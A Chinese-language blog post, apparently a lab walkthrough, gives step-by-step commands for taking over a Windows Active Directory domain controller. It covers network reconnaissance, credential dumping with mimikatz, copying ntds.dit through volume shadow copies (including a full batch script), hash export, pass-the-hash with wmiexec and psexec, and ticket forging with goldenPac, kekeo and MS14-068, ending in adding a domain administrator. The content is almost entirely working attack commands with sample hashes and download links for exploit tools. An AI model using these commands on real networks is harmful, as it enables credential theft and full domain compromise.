测试环境
1 2 3
| 域控: 192.168.211.130 已经控制的机器: 192.168.211.133
|
获取网络信息
查看机器的网络信息
1 2
| ipconfig /all # 查看 网卡信息,获取dns 服务器ip (域控) arp -a # 搜集内网信息
|

1 2 3
| net view #查看网络中的机器 net view /domain # 查看网络中的域 net view /domain:domainhack # 查看 domainhack 域中的机器
|
通过 ping 机器名
可以获取 ip

查找 域控
1 2 3 4
| dsquery server net time /domain ipconfig /all 查看 dns 信息 端口扫描,域控服务器会开放389端口,如果和DNS同服务器,那么也会有53
|

ipc$
攻击
1 2
| net view 192.168.211.130 #查看共享 net use \\192.168.211.130\ipc$ password /user:hacker # ipc$ 连接
|
如果有共享的话,直接 copy
复制文件,然后 at
执行。
获取 hash
直接抓
使用 mimikatz
抓取登录过的明文
1
| mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
|
导出 ntds.dit
, 获取 hash
导出 ntds.dit
方法一 ntdsutil

1 2 3 4
| ntdsutil snapshot "List All" quit quit # 列举快照 ntdsutil snapshot "activate instance ntds" create quit quit # 创建快照 ntdsutil snapshot "mount {77e43351-f29c-4bb2-86ad-cc6b7610589d}" # 挂载快照 copy C:\$SNAP_201803152221_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit #复制ntds.dit
|
操作完后记得删除快照
方法二 vssadmin

1 2 3 4
| vssadmin list shadows # 查询当前系统的快照 vssadmin create shadow /for=c: #创建快照 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds.dit # 复制ntds.dit vssadmin delete shadows /for=c: /quiet #删除快照
|
方法三 vshadow
下载链接
1
| http://edgylogic.com/blog/vshadow-exe-versions/
|
创建 a.bat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| setlocal if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK set SOURCE_DRIVE_LETTER=%SystemDrive% set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit set DESTINATION_PATH=%~dp0 @echo ...Determine the scripts to be executed/generated... set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo ...Creating the shadow copy... "%~dp0vshadow-2008-x64.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @echo ...Obtaining the shadow copy device name... call %TEMP_GENERATED_SCRIPT% @echo ...Copying from the shadow copy to the destination path... copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
|
把 vshadow-2008-x64.exe
放到 a.bat
同级目录(win 2008为例)
然后 cmd /c start a.bat
调用之, 就会在 a.bat
目录下生成 ntds.dit
然后使用
获取 system.hiv
1
| reg save hklm\system system.hiv
|
QuarksPwDump.exe
导出 hash
1
| QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file ntds.dit --system-file system.hiv
|

pass-the-hash 攻击
wmiexec
下载地址
1
| https://github.com/maaaaz/impacket-examples-windows
|

1 2 3 4 5 6
| wmiexec -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 domainhack/Administrator@192.168.211.130 "whoami" domainhack 为域名 Administrator 域用户 192.168.211.130 目标 IP
|
psexec
1
| psexec.exe -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 domainhack/Administrator@192.168.211.130 "whoami"
|
pass-the-ticket
goldenPac
要求:
下载地址
1
| https://github.com/maaaaz/impacket-examples-windows
|
直接获取域控system
权限的 cmd
1 2 3
| goldenPac domainhack.com/hacker@domainc.domainhack.com goldenPac 域名/用户名@域控名称 然后会要求输入密码
|

wce
要求:
1 2
| 域控用户名 ,hash (用前面的方法获取) 本机 administor 权限
|
1
| wce -s Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09
|
keko
下载地址
1
| https://github.com/gentilkiwi/kekeo
|
要求:
1 2 3 4 5 6 7
| 生成票据 kekeo "tgt::ask /user:Administrator /domain:domainhack.com /ntlm:A812E6C2DEFCB0A7B80868F9F3C88D09" 导入票据 kekeo "kerberos::ptt TGT_Administrator@DOMAINHACK.COM_krbtgt~domainhack.com@DOMAINHACK.COM.kirbi"
|

ms14-068.exe
下载地址
1 2
| https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/MS14-068.exe
|
要求:
1 2
| 域控用户名 , 密码 用户 sid # whoami /all 获取
|
执行命令
1 2 3 4 5 6 7 8 9
| 生成 票据 ms14-068.exe -u hacker@domainhack.com -s S-1-5-21-2864277510-2444243591-773573486-1113 -d 192.168.211.130 -p qaz123!@# ms14-068.exe -u 用户名@域名 -s 用户sid -d 域控地址 -p 用户名密码 导入票据 Mimikatz.exe "kerberos::ptc TGT_hacker@domainhack.com.ccache"
|


导入票据后就相当于有了 域管理员的权限, 直接添加域管理员

参考
https://3gstudent.github.io/
本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2018/03/13/windows_hack_domain.html